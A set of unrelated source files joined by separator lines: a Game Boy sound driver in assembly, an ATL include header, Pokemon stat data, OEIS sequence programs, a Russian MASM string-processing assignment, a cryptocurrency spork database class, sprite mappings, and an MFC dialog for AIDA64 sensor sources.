ldh [rNR30],a ; enable CH3
ld a,c
ldh [rNR51],a
ret
ClearWaveBuffer:
ld b,$20 ; spill to WaveBuffer too
xor a
ld hl,ComputedWaveBuffer
.loop
ld [hl+],a ; copy to wave ram
dec b
jr nz,.loop ; loop until done
ret
if !def(DemoSceneMode)
; Combine two waves.
; INPUT: bc = first wave address
; de = second wave address
_CombineWaves:
ld hl,WaveBuffer
ld a,16
.loop
push af
push hl
ld a,[bc]
and $f
ld l,a
ld a,[de]
and $f
add l
rra
ld l,a
ld a,[bc]
inc bc
and $f0
ld h,a
ld a,[de]
inc de
and $f0
add h
rra
and $f0
or l
pop hl
ld [hl+],a
pop af
dec a
jr nz, .loop
ld a,[WaveBufUpdateFlag]
or 1
ld [WaveBufUpdateFlag],a
ret
; Randomize the wave buffer
_RandomizeWave:
push de
ld hl,NoiseData
ld de,WaveBuffer
ld b,$10
ld a,[WavePos]
inc a
ld [WavePos],a
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
ld a,[hl+]
ld hl,NoiseData
add l
ld l,a
jr nc,.loop
inc h
.loop
ld a,[hl+]
ld [de],a
inc de
dec b
jr nz,.loop
ld a,[WaveBufUpdateFlag]
or 1
ld [WaveBufUpdateFlag],a
pop de
ret
; Do PWM
DoPWM:
ld a,[PWMEnabled]
and a
ret z ; if PWM is not enabled, return
ld a,[PWMTimer]
dec a
ld [PWMTimer],a
and a
ret nz
ld a,[PWMSpeed]
ld [PWMTimer],a
ld a,[PWMDir]
and a
jr nz,.decPos
.incPos
ld a,[WavePos]
inc a
ld [WavePos],a
cp $1e
jr nz,.continue
ld a,[PWMDir]
xor 1
ld [PWMDir],a
jr .continue
.decPos
ld a,[WavePos]
dec a
ld [WavePos],a
and a
jr nz,.continue2
ld a,[PWMDir]
xor 1
ld [PWMDir],a
jr .continue2
.continue
ld hl,WaveBuffer
ld a,[WavePos]
rra
push af
and $f
add l
ld l,a
jr nc,.nocarry
inc h
.nocarry
pop af
jr c,.odd
.even
ld a,[PWMVol]
swap a
ld [hl],a
jr .done
.odd
ld a,[hl]
ld b,a
ld a,[PWMVol]
or b
ld [hl],a
jr .done
.continue2
ld hl,WaveBuffer
ld a,[WavePos]
inc a
rra
push af
and $f
add l
ld l,a
jr nc,.nocarry2
inc h
.nocarry2
pop af
jr nc,.odd2
.even2
ld a,[PWMVol]
swap a
ld [hl],a
jr .done
.odd2
xor a
ld [hl],a
.done
ld a,[WaveBufUpdateFlag]
or 1
ld [WaveBufUpdateFlag],a
ret
DoRandomizer:
ld a,[RandomizerEnabled]
and a
ret z ; if randomizer is disabled, return
ld a,[RandomizerTimer]
dec a
ld [RandomizerTimer],a
ret nz
ld a,[RandomizerSpeed]
ld [RandomizerTimer],a
call _RandomizeWave
ret
endc
; ================================================================
; Misc routines
; ================================================================
JumpTableBelow:
; since the return pointer is now at the start of table,
; we can manipulate it to return to the address in the table instead
pop bc
push hl
add a ; It is recommended to use this to keep optimizations on the four channel's jumptables
add c
ld l,a
jr nc,.nocarry
inc b
.nocarry
ld h,b
ld a,[hl+]
ld b,[hl]
ld c,a
pop hl
push bc
ret
ClearArpBuffer:
ld hl,arp_Buffer
ld [hl],$ff
inc hl
ld b,7
xor a
.loop
ld a,[hl+]
dec b
jr nz,.loop
ret
DoArp:
ld de,arp_Buffer
ld a,[hl+]
and a
jr nz,.slow
.fast
xor a
ld [de],a
inc de
ld a,[hl]
swap a
and $f
ld [de],a
inc de
ld a,[hl+]
and $f
ld [de],a
inc de
ld a,$fe
ld [de],a
inc de
xor a
ld [de],a
ret
.slow
xor a
ld [de],a
inc de
ld [de],a
inc de
ld a,[hl]
swap a
and $f
ld [de],a
inc de
ld [de],a
inc de
ld a,[hl+]
and $f
ld [de],a
inc de
ld [de],a
inc de
ld a,$fe
ld [de],a
inc de
xor a
ld [de],a
ret
SkipLoopPoint:
; skip over the next loop point after position [bc] in table [hl]
; then store the skipped position to [bc].
ld a,[bc]
ld d,a
ld a,[hl+]
ld h,[hl]
add d
ld l,a
jr nc,.loop
inc h
.loop
ld a,[hl+]
cp $ff
jr z,.done
inc d
cp $fe
jr nz,.loop
inc d ; skip over loop destination byte
.done
ld a,d
ld [bc],a
ret
if !def(DemoSceneMode)
MultiplyVolume:
srl b
push af
ld l,b
ld h,0
add hl,hl ; x2
add hl,hl ; x4
add hl,hl ; x8
add hl,hl ; x16
ld bc,VolumeTable
add hl,bc
ld c,a
ld b,0
add hl,bc
pop af
ld a,[hl]
jr nc,.noswap
swap a
.noswap
and $f
ld b,a
ret
MultiplyVolume_:
; short version of MultiplyVolume for ch3 wave update
push de
and $f
add e
ld e,a
jr nc,.nocarry
inc d
.nocarry
ld a,[de]
pop de
ret
endc
; ================================================================
; Frequency table
; ================================================================
FreqTable:
; C-x C#x D-x D#x E-x F-x F#x G-x G#x A-x A#x B-x
dw $02c,$09c,$106,$16b,$1c9,$223,$277,$2c6,$312,$356,$39b,$3da ; octave 1
dw $416,$44e,$483,$4b5,$4e5,$511,$53b,$563,$589,$5ac,$5ce,$5ed ; octave 2
dw $60a,$627,$642,$65b,$672,$689,$69e,$6b2,$6c4,$6d6,$6e7,$6f7 ; octave 3
dw $706,$714,$721,$72d,$739,$744,$74f,$759,$762,$76b,$773,$77b ; octave 4
dw $783,$78a,$790,$797,$79d,$7a2,$7a7,$7ac,$7b1,$7b6,$7ba,$7be ; octave 5
dw $7c1,$7c4,$7c8,$7cb,$7ce,$7d1,$7d4,$7d6,$7d9,$7db,$7dd,$7df ; octave 6
dw $7e1,$7e3,$7e4,$7e6,$7e7,$7e9,$7ea,$7eb,$7ec,$7ed,$7ee,$7ef ; octave 7 (not used directly, is slightly out of tune)
NoiseTable: ; taken from deflemask
db $a4 ; 15 steps
db $97,$96,$95,$94,$87,$86,$85,$84,$77,$76,$75,$74,$67,$66,$65,$64
db $57,$56,$55,$54,$47,$46,$45,$44,$37,$36,$35,$34,$27,$26,$25,$24
db $17,$16,$15,$14,$07,$06,$05,$04,$03,$02,$01,$00
db $ac ; 7 steps
db $9f,$9e,$9d,$9c,$8f,$8e,$8d,$8c,$7f,$7e,$7d,$7c,$6f,$6e,$6d,$6c
db $5f,$5e,$5d,$5c,$4f,$4e,$4d,$4c,$3f,$3e,$3d,$3c,$2f,$2e,$2d,$2c
db $1f,$1e,$1d,$1c,$0f,$0e,$0d,$0c,$0b,$0a,$09,$08
if !def(DemoSceneMode)
VolumeTable: ; used for volume multiplication
db $00,$00,$00,$00,$00,$00,$00,$00 ; 10
db $10,$10,$10,$10,$10,$10,$10,$10
db $00,$00,$00,$00,$10,$11,$11,$11 ; 32
db $21,$21,$21,$22,$32,$32,$32,$32
db $00,$00,$10,$11,$11,$21,$22,$22 ; 54
db $32,$32,$33,$43,$43,$44,$54,$54
db $00,$00,$11,$11,$22,$22,$32,$33 ; 76
db $43,$44,$54,$54,$65,$65,$76,$76
db $00,$00,$11,$21,$22,$33,$43,$44 ; 98
db $54,$55,$65,$76,$77,$87,$98,$98
db $00,$11,$11,$22,$33,$43,$44,$55 ; ba
db $65,$76,$77,$87,$98,$a9,$a9,$ba
db $00,$11,$22,$33,$43,$44,$55,$66 ; dc
db $76,$87,$98,$99,$a9,$ba,$cb,$dc
db $00,$11,$22,$33,$44,$55,$66,$77 ; fe
db $87,$98,$a9,$ba,$cb,$dc,$ed,$fe
endc
; ================================================================
; misc stuff
; ================================================================
DefaultRegTable:
; global flags
db 0,7,0,0,0,0,0,1,1,1,1,1
; ch1
dw DummyTable,DummyTable,DummyTable,DummyTable,DummyTable
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; ch2
dw DummyTable,DummyTable,DummyTable,DummyTable,DummyTable
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; ch3
dw DummyTable,DummyTable,DummyTable,DummyTable,DummyTable
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; ch4
if def(DisableDeflehacks)
dw DummyTable,DummyTable,DummyTable
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
else
dw DummyTable,DummyTable,DummyTable,DummyTable
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
endc
DefaultWave: db $01,$23,$45,$67,$89,$ab,$cd,$ef,$fe,$dc,$ba,$98,$76,$54,$32,$10
NoiseData: incbin "NoiseData.bin"
; ================================================================
; Dummy data
; ================================================================
DummyTable: db $ff,0
vib_Dummy: db 0,0,$80,1
DummyChannel:
db EndChannel
; ================================================================
; Song data
; ================================================================
if !def(DontIncludeSongData)
include "DevSound_SongData.asm"
endc
|
//
// ulib - a collection of useful classes
// Copyright (C) 2000-2017 Michael Fink
//
/// \file Atl.hpp ATL includes
//
#pragma once
// ignore /analyze warnings in ATL header files
#pragma warning(push)
#pragma warning(disable: 6001 6031 6387 26110)
/// prevent ATL using stuff removed by WIN32_LEAN_AND_MEAN
#define ATL_NO_LEAN_AND_MEAN
/// no min-max macros, we use std::min / std::max instead
#define NOMINMAX 1
// min and max macros are used in atlcom.h, etc., so temporarily define them here
#ifndef min
# define min(x,y) (x) < (y) ? (x) : (y) ///< temporary define of min()
#endif
#ifndef max
# define max(x,y) (x) > (y) ? (x) : (y) ///< temporary define of min()
#endif
// ATL includes
#include <atlbase.h>
#if _ATL_VER < 0x0700
#error ATL7 or higher must be used to compile
#endif
#include <atlcoll.h>
#include <atlstr.h>
#include <atltypes.h>
#include <atlwin.h>
#include <atlcom.h>
#include <atlhost.h>
// for _stdcallthunk
#include <atlstdthunk.h>
// atlimage.h declares throw() on methods that may throw; this would lead to calling
// std::unexpected(), which would quit the application; define throw() as empty macro in order to
// get the different behavior that exceptions are propagated to the caller.
#define throw()
#pragma warning(disable: 4002) // too many actual parameters for macro 'throw'
#include <atlimage.h>
#undef throw
#pragma warning(pop)
// undef the macros so that std::min and std::max work as they should be
#undef min
#undef max
// redefine ATLVERIFY when analyzing using Coverity Scan
#if !defined(_DEBUG) && defined(__COVERITY__)
#undef ATLVERIFY
#define ATLVERIFY(expr) (void)(expr)
#endif
|
db 0 ; species ID placeholder
db 78, 70, 61, 100, 50, 61
; hp atk def spd sat sdf
db NORMAL, NORMAL ; type
db 90 ; catch rate
db 147 ; base exp
db POTION, MAX_REVIVE ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 15 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/linoone/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ZAP_CANNON, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, RETURN, PSYCHIC_M, SHADOW_BALL, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, THUNDERPUNCH, DREAM_EATER, REST, ATTRACT, THIEF, FIRE_PUNCH, NIGHTMARE, FLASH
; end
|
; A235583: Numbers not divisible by 2, 5 or 7.
; Submitted by Jamie Morken(s1)
; 1,3,9,11,13,17,19,23,27,29,31,33,37,39,41,43,47,51,53,57,59,61,67,69,71,73,79,81,83,87,89,93,97,99,101,103,107,109,111,113,117,121,123,127,129,131,137,139,141,143,149,151,153,157,159,163,167,169,171,173,177,179,181,183,187,191,193,197,199,201,207,209,211,213,219,221,223,227,229,233,237,239,241,243,247,249,251,253,257,261,263,267,269,271,277,279,281,283,289,291
add $0,12
seq $0,235933 ; Numbers coprime to 35.
sub $0,18
mul $0,2
add $0,1
|
; ================================== ТЕХНИЧЕСКОЕ ЗАДАНИЕ ==================================
; Вариант 18
; Поместить в первую строку результата все символы из исходной строки, являющиеся цифрами
; Поместить во вторую строку результата символы исходной строки до первого найденного в исходной строке символа '-', за которым следует +
; Битовая строка длиной 64 разряда устанавливает необходимость обработки соответствующего номеру бита в битовой строке
; номера байта из исходной строки, причем если бит установлен в 1, то соответствующий ему байт должен быть обработан при формировании первой строки результата.
; ==========================================================================================
.model small
stack segment para stack 'stack'
db 100h DUP(?)
stack ends
data segment para public 'data'
string db 'qwerty184-s/62\k+-ls?93|-+t!s f764^sf+-k:s-+33jdskf83-=\ . 17lsj', '$'
bitmask dq 0001001011101000101011110100010100010010111011001010010101001001b
result1 db sizeof string DUP('$') ; ожидаемый результат: 146937333
result2 db sizeof string DUP('$') ; ожидаемый результат: jsl71 . \=-38fksdj33+-s:k-
message1 db 'Initial string:', '$'
message2 db 'First result string:', '$'
message3 db 'Second result string:', '$'
minusFlag db 0 ; показывает, был ли предыдущий символ минусом
TRUE EQU 1
FALSE EQU 0
data ends
code segment para public 'code'
assume ds:data, ss:stack, cs:code
.486
print macro arg:REQ
mov ah, 09h
lea dx, arg
int 21h
printLine
endm
printLine macro ; печатает символы 10 и 13 (перенос строки)
mov ah, 02h
mov dl, 10
int 21h
mov ah, 02h
mov dl, 13
int 21h
endm
; EBX - аргумент
printBinaryWord proc near
push ax
push dx
push cx
mov cx, 32 ; word
PROC_LOOP:
shl ebx, 1
jc print_1 ; if (CF != 1)
mov dl, '0'
jmp print_bit
print_1:
mov dl, '1'
print_bit:
mov ah, 02h
int 21h
loop PROC_LOOP
pop cx
pop dx
pop ax
ret
printBinaryWord endp
main:
mov ax, data
mov ds, ax
print message1
print string
; Первая строка
; EAX - половина маски
; EBX - промежуточное хранение данных
; SI - индекс исходной строки
; DI - индекс строки результата
; DL - текущий символ
; DH - индекс в маске
mov eax, dword ptr bitmask + 4
mov ebx, eax
call printBinaryWord
xor si, si
xor di, di
mov dh, 31
mov cx, sizeof string
dec cx
FIRST_LOOP:
mov dl, string[si]
cmp si, 32 ; if (si == 32)
jne num_check
; когда дойдём до 32 символа, переходим на вторую половину маски
mov eax, dword ptr bitmask
mov ebx, eax
call printBinaryWord
printLine
printLine
mov dh, 31
num_check:
cmp dl, '0' ; if(dl >= '0' && dl <= '9')
jl end_if1
cmp dl, '9'
jg end_if1
push cx
mov ebx, 1 ; ebx = 1 << dh
mov cl, dh
shl ebx, cl
and ebx, eax ; ebx = ebx & eax
pop cx
cmp ebx, 0
je end_if1
mov result1[di], dl ; result1 += dl
inc di
end_if1:
inc si
dec dh
loop FIRST_LOOP
print message2
print result1
printLine
; Печатаем вторую строку результата
; SI - индекс исходной строки (идём справа налево)
; DI - индекс строки результата
; DL - текущий символ
xor di, di
mov cx, sizeof string
mov si, cx
sub si, 2
SECOND_LOOP:
mov dl, string[si]
cmp dl, '-' ; if(dl == '-') minusFlag = true
jne else_if2
mov minusFlag, TRUE
jmp end_if2
else_if2:
cmp minusFlag, TRUE ; if(minusFlag)
jne end_if2
mov minusFlag, FALSE ; minusFlag = false
cmp dl, '+' ; if(dl == '+')...
je loop2_end
end_if2:
mov result2[di], dl
inc di
dec si
loop SECOND_LOOP
loop2_end:
print message3
print result2
; конец программы
xor eax, eax
xor ebx, ebx
xor cx, cx
xor dx, dx
xor si, si
xor di, di
mov ax, 4c00h ; функция выхода с кодом 0
int 21h
code ends
end main |
// Copyright (c) 2017-2019 The FreedomCoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "sporkdb.h"
#include "spork.h"
CSporkDB::CSporkDB(size_t nCacheSize, bool fMemory, bool fWipe) : CDBWrapper(GetDataDir() / "sporks", nCacheSize, fMemory, fWipe) {}
bool CSporkDB::WriteSpork(const SporkId nSporkId, const CSporkMessage& spork)
{
LogPrintf("Wrote spork %s to database\n", sporkManager.GetSporkNameByID(nSporkId));
return Write(nSporkId, spork);
}
bool CSporkDB::ReadSpork(const SporkId nSporkId, CSporkMessage& spork)
{
return Read(nSporkId, spork);
}
bool CSporkDB::SporkExists(const SporkId nSporkId)
{
return Exists(nSporkId);
}
|
Map_22119A_: dc.w Frame_2211A6-Map_22119A_ ; ...
dc.w Frame_2211B4-Map_22119A_
dc.w Frame_2211D4-Map_22119A_
dc.w Frame_2211F4-Map_22119A_
dc.w Frame_221214-Map_22119A_
dc.w Frame_22122E-Map_22119A_
Frame_2211A6: dc.w 2
dc.b $C0, $B, 0, 0, 0, 8
dc.b $E0, $F, 0, $C, 0, 0
Frame_2211B4: dc.w 5
dc.b $A0, $F, 0,$1C, 0,$13
dc.b $C0, $B, 0,$2C, 0, 8
dc.b $C0, $B, 0,$38, 0,$20
dc.b $E0, $F, 0,$44, 0, 0
dc.b $E0, $F, 0,$54, 0,$20
Frame_2211D4: dc.w 5
dc.b $A0, $F, 0,$64, 0,$18
dc.b $C0, $F, 0,$74, 0, 8
dc.b $C0, $B, 0,$84, 0,$28
dc.b $E0, $F, 0,$90, 0, 0
dc.b $E0, $F, 0,$A0, 0,$20
Frame_2211F4: dc.w 5
dc.b $B0, $D, 0,$B0, 0,$18
dc.b $C0, $F, 0,$B8, 0, 8
dc.b $C0, $B, 0,$C8, 0,$28
dc.b $E0, $F, 0,$D4, 0, 0
dc.b $E0, $F, 0,$E4, 0,$20
Frame_221214: dc.w 4
dc.b $C0, $F, 0,$F4, 0, 0
dc.b $C0, $B, 1, 4, 0,$20
dc.b $E0, $F, 1,$10, 0, 0
dc.b $E0, $F, 1,$20, 0,$20
Frame_22122E: dc.w 3
dc.b $D0, $D, 1,$30, 0,$10
dc.b $E0, $F, 1,$38, 0, 0
dc.b $E0, $F, 1,$48, 0,$20
|
// AIDA64SetupSourceDlg.cpp : implementation file
//
// created by Unwinder
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "AIDA64SetupSourceDlg.h"
#include "AIDA64Globals.h"
#include "MAHMSharedMemory.h"
//////////////////////////////////////////////////////////////////////
// CAIDA64SetupSourceDlg dialog
//////////////////////////////////////////////////////////////////////
IMPLEMENT_DYNAMIC(CAIDA64SetupSourceDlg, CDialog)
//////////////////////////////////////////////////////////////////////
CAIDA64SetupSourceDlg::CAIDA64SetupSourceDlg(CWnd* pParent /*=NULL*/)
: CDialog(CAIDA64SetupSourceDlg::IDD, pParent)
, m_strSensorID(_T(""))
, m_strReadingName(_T(""))
, m_strSourceInstance(_T(""))
, m_strSourceName(_T(""))
, m_strSourceUnits(_T(""))
, m_strSourceFormat(_T(""))
, m_strSourceGroup(_T(""))
, m_strSourceMin(_T(""))
, m_strSourceMax(_T(""))
{
m_hBrush = NULL;
m_lpDesc = NULL;
}
//////////////////////////////////////////////////////////////////////
CAIDA64SetupSourceDlg::~CAIDA64SetupSourceDlg()
{
}
//////////////////////////////////////////////////////////////////////
void CAIDA64SetupSourceDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_SENSOR_ID_EDIT, m_strSensorID);
DDX_Control(pDX, IDC_SOURCE_ID_COMBO, m_sourceIdCombo);
DDX_Text(pDX, IDC_SOURCE_INSTANCE_EDIT, m_strSourceInstance);
DDX_Text(pDX, IDC_SOURCE_NAME_EDIT, m_strSourceName);
DDX_Text(pDX, IDC_SOURCE_UNITS_EDIT, m_strSourceUnits);
DDX_Text(pDX, IDC_SOURCE_FORMAT_EDIT, m_strSourceFormat);
DDX_Text(pDX, IDC_SOURCE_GROUP_EDIT, m_strSourceGroup);
DDX_Text(pDX, IDC_SOURCE_MIN_EDIT, m_strSourceMin);
DDX_Text(pDX, IDC_SOURCE_MAX_EDIT, m_strSourceMax);
}
//////////////////////////////////////////////////////////////////////
BEGIN_MESSAGE_MAP(CAIDA64SetupSourceDlg, CDialog)
ON_WM_DESTROY()
ON_WM_CTLCOLOR()
ON_BN_CLICKED(IDOK, &CAIDA64SetupSourceDlg::OnBnClickedOk)
END_MESSAGE_MAP()
//////////////////////////////////////////////////////////////////////
// CAIDA64SetupSourceDlg message handlers
//////////////////////////////////////////////////////////////////////
typedef struct AIDA64_READING_TYPE_DESC
{
DWORD dwType;
LPCSTR lpName;
} AIDA64_READING_TYPE_DESC, *LPAIDA64_READING_TYPE_DESC;
//////////////////////////////////////////////////////////////////////
typedef struct DATA_SOURCE_ID_DESC
{
DWORD dwID;
LPCSTR lpName;
} DATA_SOURCE_ID_DESC, *LPDATA_SOURCE_ID_DESC;
//////////////////////////////////////////////////////////////////////
BOOL CAIDA64SetupSourceDlg::OnInitDialog()
{
CDialog::OnInitDialog();
LocalizeWnd(m_hWnd);
AdjustWindowPos(this, GetParent());
if (m_lpDesc)
{
//sensor ID
m_strSensorID = m_lpDesc->szID;
//data source id
DATA_SOURCE_ID_DESC sourceIds[] =
{
{ MONITORING_SOURCE_ID_GPU_TEMPERATURE , "GPU temperature" },
{ MONITORING_SOURCE_ID_PCB_TEMPERATURE , "PCB temperature" },
{ MONITORING_SOURCE_ID_MEM_TEMPERATURE , "Memory temperature" },
{ MONITORING_SOURCE_ID_VRM_TEMPERATURE , "VRM temperature" },
{ MONITORING_SOURCE_ID_FAN_SPEED , "Fan speed" },
{ MONITORING_SOURCE_ID_FAN_TACHOMETER , "Fan tachometer" },
{ MONITORING_SOURCE_ID_CORE_CLOCK , "Core clock" },
{ MONITORING_SOURCE_ID_SHADER_CLOCK , "Shader clock" },
{ MONITORING_SOURCE_ID_MEMORY_CLOCK , "Memory clock" },
{ MONITORING_SOURCE_ID_GPU_USAGE , "GPU usage" },
{ MONITORING_SOURCE_ID_MEMORY_USAGE , "Memory usage" },
{ MONITORING_SOURCE_ID_FB_USAGE , "FB usage" },
{ MONITORING_SOURCE_ID_VID_USAGE , "VID usage" },
{ MONITORING_SOURCE_ID_BUS_USAGE , "BUS usage" },
{ MONITORING_SOURCE_ID_GPU_VOLTAGE , "GPU voltage" },
{ MONITORING_SOURCE_ID_AUX_VOLTAGE , "Aux voltage" },
{ MONITORING_SOURCE_ID_MEMORY_VOLTAGE , "Memory voltage" },
{ MONITORING_SOURCE_ID_FRAMERATE , "Framerate" },
{ MONITORING_SOURCE_ID_FRAMETIME , "Frametime" },
{ MONITORING_SOURCE_ID_FRAMERATE_MIN , "Framerate Min" },
{ MONITORING_SOURCE_ID_FRAMERATE_AVG , "Framerate Avg" },
{ MONITORING_SOURCE_ID_FRAMERATE_MAX , "Framerate Max" },
{ MONITORING_SOURCE_ID_FRAMERATE_1DOT0_PERCENT_LOW , "Framerate 1% Low" },
{ MONITORING_SOURCE_ID_FRAMERATE_0DOT1_PERCENT_LOW , "Framerate 0.1% Low" },
{ MONITORING_SOURCE_ID_GPU_REL_POWER , "Power percent" },
{ MONITORING_SOURCE_ID_GPU_ABS_POWER , "Power" },
{ MONITORING_SOURCE_ID_GPU_TEMP_LIMIT , "Temp limit" },
{ MONITORING_SOURCE_ID_GPU_POWER_LIMIT , "Power limit" },
{ MONITORING_SOURCE_ID_GPU_VOLTAGE_LIMIT , "Voltage limit" },
{ MONITORING_SOURCE_ID_GPU_UTIL_LIMIT , "No load limit" },
{ MONITORING_SOURCE_ID_CPU_USAGE , "CPU usage" },
{ MONITORING_SOURCE_ID_RAM_USAGE , "RAM usage" },
{ MONITORING_SOURCE_ID_PAGEFILE_USAGE , "Pagefile usage" },
{ MONITORING_SOURCE_ID_CPU_TEMPERATURE , "CPU temperature" },
{ MONITORING_SOURCE_ID_GPU_SLI_SYNC_LIMIT ,"SLI sync limit" },
{ MONITORING_SOURCE_ID_CPU_CLOCK , "CPU clock" },
{ MONITORING_SOURCE_ID_AUX2_VOLTAGE , "Aux2 voltage" },
{ MONITORING_SOURCE_ID_GPU_TEMPERATURE2 , "GPU temperature 2" },
{ MONITORING_SOURCE_ID_PCB_TEMPERATURE2 , "PCB temperature 2" },
{ MONITORING_SOURCE_ID_MEM_TEMPERATURE2 , "Memory temperature 2" },
{ MONITORING_SOURCE_ID_VRM_TEMPERATURE2 , "VRM temperature 2" },
{ MONITORING_SOURCE_ID_GPU_TEMPERATURE3 , "GPU temperature 3" },
{ MONITORING_SOURCE_ID_PCB_TEMPERATURE3 , "PCB temperature 3" },
{ MONITORING_SOURCE_ID_MEM_TEMPERATURE3 , "Memory temperature 3" },
{ MONITORING_SOURCE_ID_VRM_TEMPERATURE3 , "VRM temperature 3" },
{ MONITORING_SOURCE_ID_GPU_TEMPERATURE4 , "GPU temperature 4" },
{ MONITORING_SOURCE_ID_PCB_TEMPERATURE4 , "PCB temperature 4" },
{ MONITORING_SOURCE_ID_MEM_TEMPERATURE4 , "Memory temperature 4" },
{ MONITORING_SOURCE_ID_VRM_TEMPERATURE4 , "VRM temperature 4" },
{ MONITORING_SOURCE_ID_GPU_TEMPERATURE5 , "GPU temperature 5" },
{ MONITORING_SOURCE_ID_PCB_TEMPERATURE5 , "PCB temperature 5" },
{ MONITORING_SOURCE_ID_MEM_TEMPERATURE5 , "Memory temperature 5" },
{ MONITORING_SOURCE_ID_VRM_TEMPERATURE5 , "VRM temperature 5" },
{ MONITORING_SOURCE_ID_PLUGIN_GPU , "<GPU plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_CPU , "<CPU plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_MOBO , "<motherboard plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_RAM , "<RAM plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_HDD , "<HDD plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_NET , "<NET plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_PSU , "<PSU plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_UPS , "<UPS plugin>" },
{ MONITORING_SOURCE_ID_PLUGIN_MISC , "<miscellaneous plugin>" },
{ MONITORING_SOURCE_ID_CPU_POWER , "CPU power" }
};
m_sourceIdCombo.SetCurSel(0);
for (int iIndex=0; iIndex<_countof(sourceIds); iIndex++)
{
int iItem = m_sourceIdCombo.AddString(LocalizeStr(sourceIds[iIndex].lpName));
m_sourceIdCombo.SetItemData(iItem, sourceIds[iIndex].dwID);
if (m_lpDesc->dwID == sourceIds[iIndex].dwID)
m_sourceIdCombo.SetCurSel(iItem);
}
//data source instance
if (m_lpDesc->dwInstance != 0xFFFFFFFF)
m_strSourceInstance.Format("%d", m_lpDesc->dwInstance);
else
m_strSourceInstance = "";
//data source name
m_strSourceName = m_lpDesc->szName;
//data source units
m_strSourceUnits = m_lpDesc->szUnits;
//data source output format
m_strSourceFormat = m_lpDesc->szFormat;
//data source group
m_strSourceGroup = m_lpDesc->szGroup;
//data source range
m_strSourceMin.Format("%.1f", m_lpDesc->fltMinLimit);
m_strSourceMax.Format("%.1f", m_lpDesc->fltMaxLimit);
UpdateData(FALSE);
}
return TRUE;
}
//////////////////////////////////////////////////////////////////////
void CAIDA64SetupSourceDlg::SetSourceDesc(LPAIDA64_DATA_SOURCE_DESC lpDesc)
{
m_lpDesc = lpDesc;
}
//////////////////////////////////////////////////////////////////////
void CAIDA64SetupSourceDlg::OnDestroy()
{
if (m_hBrush)
{
DeleteObject(m_hBrush);
m_hBrush = NULL;
}
CDialog::OnDestroy();
}
//////////////////////////////////////////////////////////////////////
HBRUSH CAIDA64SetupSourceDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
COLORREF clrBk = g_dwHeaderBgndColor;
COLORREF clrText = g_dwHeaderTextColor;
UINT nID = pWnd->GetDlgCtrlID();
if ((nID == IDC_SENSOR_PROPERTIES_HEADER) ||
(nID == IDC_SOURCE_PROPERTIES_HEADER))
{
if (!m_hBrush)
m_hBrush = CreateSolidBrush(clrBk);
pDC->SetBkColor(clrBk);
pDC->SetTextColor(clrText);
}
else
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
return m_hBrush;
}
//////////////////////////////////////////////////////////////////////
void CAIDA64SetupSourceDlg::OnBnClickedOk()
{
int iItem;
UpdateData(TRUE);
if (!ValidateSource())
{
MessageBeep(MB_ICONERROR);
return;
}
if (m_lpDesc)
{
//sensor ID
strcpy_s(m_lpDesc->szID, sizeof(m_lpDesc->szID), m_strSensorID);
//data source id
iItem = m_sourceIdCombo.GetCurSel();
if (iItem != -1)
m_lpDesc->dwID = m_sourceIdCombo.GetItemData(iItem);
else
m_lpDesc->dwID = MONITORING_SOURCE_ID_UNKNOWN;
//data source instance
if (sscanf_s(m_strSourceInstance, "%d", &m_lpDesc->dwInstance) != 1)
m_lpDesc->dwInstance = 0xFFFFFFFF;
//data source name
strcpy_s(m_lpDesc->szName, sizeof(m_lpDesc->szName), m_strSourceName);
//data source units
strcpy_s(m_lpDesc->szUnits, sizeof(m_lpDesc->szUnits), m_strSourceUnits);
//data source output format
strcpy_s(m_lpDesc->szFormat, sizeof(m_lpDesc->szFormat), m_strSourceFormat);
//data source group
strcpy_s(m_lpDesc->szGroup, sizeof(m_lpDesc->szGroup), m_strSourceGroup);
//data source range
if (sscanf_s(m_strSourceMin, "%f", &m_lpDesc->fltMinLimit) != 1)
m_lpDesc->fltMinLimit = 0.0f;
if (sscanf_s(m_strSourceMax, "%f", &m_lpDesc->fltMaxLimit) != 1)
m_lpDesc->fltMaxLimit = 100.0f;
}
OnOK();
}
//////////////////////////////////////////////////////////////////////
BOOL CAIDA64SetupSourceDlg::ValidateSource()
{
m_strSensorID.Trim();
if (m_strSensorID.IsEmpty())
{
GetDlgItem(IDC_SENSOR_ID_EDIT)->SetFocus();
return FALSE;
}
m_strSourceName.Trim();
if (m_strSourceName.IsEmpty())
{
GetDlgItem(IDC_SOURCE_NAME_EDIT)->SetFocus();
return FALSE;
}
return TRUE;
}
//////////////////////////////////////////////////////////////////////
|
; A067076: Numbers k such that 2*k + 3 is a prime.
; Submitted by Jon Maiga
